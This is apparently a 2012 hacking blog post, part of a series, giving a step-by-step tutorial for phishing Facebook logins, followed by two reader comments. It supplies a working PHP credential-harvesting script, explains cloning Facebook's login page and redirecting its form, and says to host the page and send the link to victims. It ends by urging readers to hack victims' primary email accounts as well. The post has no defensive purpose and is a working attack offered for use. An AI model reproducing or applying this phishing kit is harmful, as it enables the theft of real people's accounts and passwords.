Dear Readers: PWNSCAR is planning to publish a monthly Tech Magazine along with some other blogs. To Contribute CHECK DETAILS

ABOUT ME

7 May 2012

Email AC Hacking (FACEBOOK Phishing) -Part 5

Hey awl :D 2day i will be telling uhh awl abt hacking email ac using phishing technique(modified to tabnapping) :)

In mah last post i told you all about keyloggers n i think u awl r clear with that concept __If not den let me know :)


https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mYOkjjl9DS3pFNy9QDGsUhScfO1sJUNdgHncxfQzvb-ZpZhsh59BezipYSEcZFzuj8BO1sHW0Um7E4oQzTTIXRYAZhEQVoMkQIyoDs70DkfYMsEpkcpA5HkuiYaBPY_zO2aHPvOhfIQ/s1600/fbfake.png

Things Required

  • Phishing.php script
  • Pass.html script
  •  Password.txt
Ohk so here we go _______ follow me step by step  ~_~

Note= In diz tut i will be telling abt facebook phishing  only
Step 1--> Creating Our Script
 
 Copy the below script and save diz script as Phishing.php
<?php
$fp = fopen("Passwords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:$_POST[pass]");
echo "<HTML>
<head>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.facebook.com\">
</FRAMESET>";
?>



Step 2--> Creating Index.html Page

Ohk for that open facebook Login page ((make sure that the page is loaded completely) and right click and select view source (in firefox) or view source code option in other browsers.)

Now select all ( CTR + A ) and copy all the code and paste it in notepad. 


Then search(CTR + F) for the keyword action.You can see the code as given below.

    action="https://www.facebook.com/login.php?login_attempt=1"



Just change the above code with     action="pass.php"

after changing to pass.php (name mentioned in above code) just save it in the form facebook.html (anyname.html). By finishing this step our phishing page is ready.Now we want to create script page for this phishing page.


Step 3--> Now create a completely blank text file with name passwords.txt.(name mentioned in our php script)

Step 4--> Ok now your phishing page is ready to be infected now just go to any web hosting site which supports php and upload pass.html and Phishing.php 

After hosting you will get a direct link to your phishing page,that is to your facebook.html page.just use this link to access or send phishing page and now when anyone tries to login through your phishing page a new html page with name password.html will be automatically created in your hosting directory with the password and username entered there.

But the problem Facebook phishing has is, even if you get someone's Facebook password and change it, the person is notified by an email and he/she will get to know that someone is trying to access his/her password and will definitely change it :( . So, its better to directly hack their primary account to gain complete access to the victims account ;)

 









 




 






 




2 comments:

  1. acctualy in 1st step where to copy the php !!

    i am a bignner !!

    plz help me : smarety ujjaval & kkumar Surrow

    ReplyDelete
  2. the php script which i wrote _____after writing Copy the below script and save diz script as Phishing.php

    n also it will be gd if u take our name in correct form

    ReplyDelete

Got any doubts or feedbacks ?
Feel free to comment !